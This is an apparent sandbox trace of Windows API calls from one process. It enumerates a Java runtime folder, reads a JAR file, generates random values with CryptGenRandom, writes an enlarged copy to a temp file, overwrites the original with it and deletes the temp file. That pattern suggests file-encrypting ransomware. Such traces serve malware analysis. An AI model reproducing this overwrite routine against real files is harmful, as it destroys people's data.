	[0257.098] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0257.206] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0257.253] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0257.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf)) returned 1
	[0257.346] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0257.347] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0257.347] SetEvent (hEvent=0xfc) returned 1
	[0257.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c)) returned 1
	[0257.347] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0257.347] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0257.347] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0257.347] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0257.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0257.348] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0257.348] GetFileType (hFile=0x1b0) returned 0x1
	[0257.348] GetFileType (hFile=0x1b0) returned 0x1
	[0257.348] GetFileInformationByHandle (in: hFile=0x1b0, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0257.348] GetFileInformationByHandleEx (in: hFile=0x1b0, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0257.348] VirtualAlloc (lpAddress=0xc000368000, dwSize=0x3e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000368000
	[0257.359] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000368000, nNumberOfBytesToRead=0x3d7bf, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc000368000*, lpNumberOfBytesRead=0xc0000bfb04*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0258.317] SetEvent (hEvent=0x124) returned 1
	[0258.317] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0003a55bf, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0003a55bf*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0258.317] CloseHandle (hObject=0x1b0) returned 1
	[0258.317] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e580 | out: pbBuffer=0xc00000e580) returned 1
	[0258.317] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a3f0 | out: pbBuffer=0xc00021a3f0) returned 1
	[0258.317] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000b01 | out: pbBuffer=0xc000000b01) returned 1
	[0258.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0258.319] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0258.319] GetFileType (hFile=0x1b0) returned 0x1
	[0258.319] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000614000*, nNumberOfBytesToWrite=0x3d6bf, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000614000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x3d6bf, lpOverlapped=0x0) returned 1
	[0258.329] CloseHandle (hObject=0x1b0) returned 1
	[0258.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0258.343] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0258.343] GetFileType (hFile=0x1b0) returned 0x1
	[0258.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0258.343] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0258.343] GetFileType (hFile=0x1b4) returned 0x1
	[0258.343] VirtualAlloc (lpAddress=0xc00021e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021e000
	[0258.344] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.345] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.348] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.348] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.349] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.349] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.350] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.350] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.351] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.351] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.352] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.353] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.354] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.354] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0258.355] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x56bf, lpOverlapped=0x0) returned 1
	[0258.355] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x56bf, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x56bf, lpOverlapped=0x0) returned 1
	[0258.356] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0258.356] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5")) returned 0
	[0258.356] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5")) returned 0
	[0258.357] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5")) returned 0x20
	[0258.357] CloseHandle (hObject=0x1b4) returned 1
	[0258.357] CloseHandle (hObject=0x1b0) returned 1
	[0258.370] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\29b1bcc18d2b9c74a4a906ca447769b5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\29b1bcc18d2b9c74a4a906ca447769b5")) returned 1
	[0258.375] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0262.187] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.292] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8)) returned 1
	[0263.336] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.336] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.336] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.457] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.494] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.568] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.616] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.653] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.707] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0263.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93)) returned 1
	[0268.513] SetEvent (hEvent=0x124) returned 1
	[0268.514] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0268.514] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0268.514] SetEvent (hEvent=0xd4) returned 1
	[0268.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0268.514] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0268.514] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0268.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1
	[0268.515] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827)) returned 1
	[0268.833] SetEvent (hEvent=0x124) returned 1
	[0268.833] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.833] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.833] SetEvent (hEvent=0xfc) returned 1
	[0268.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de)) returned 1
	[0268.833] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.833] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0268.949] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.949] VirtualAlloc (lpAddress=0xc000228000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000228000
	[0268.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0268.950] VirtualAlloc (lpAddress=0xc00022a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022a000
	[0268.951] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0268.951] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1
	[0268.951] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1
	[0268.951] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0268.951] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0268.951] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.951] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d)) returned 1
	[0268.951] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
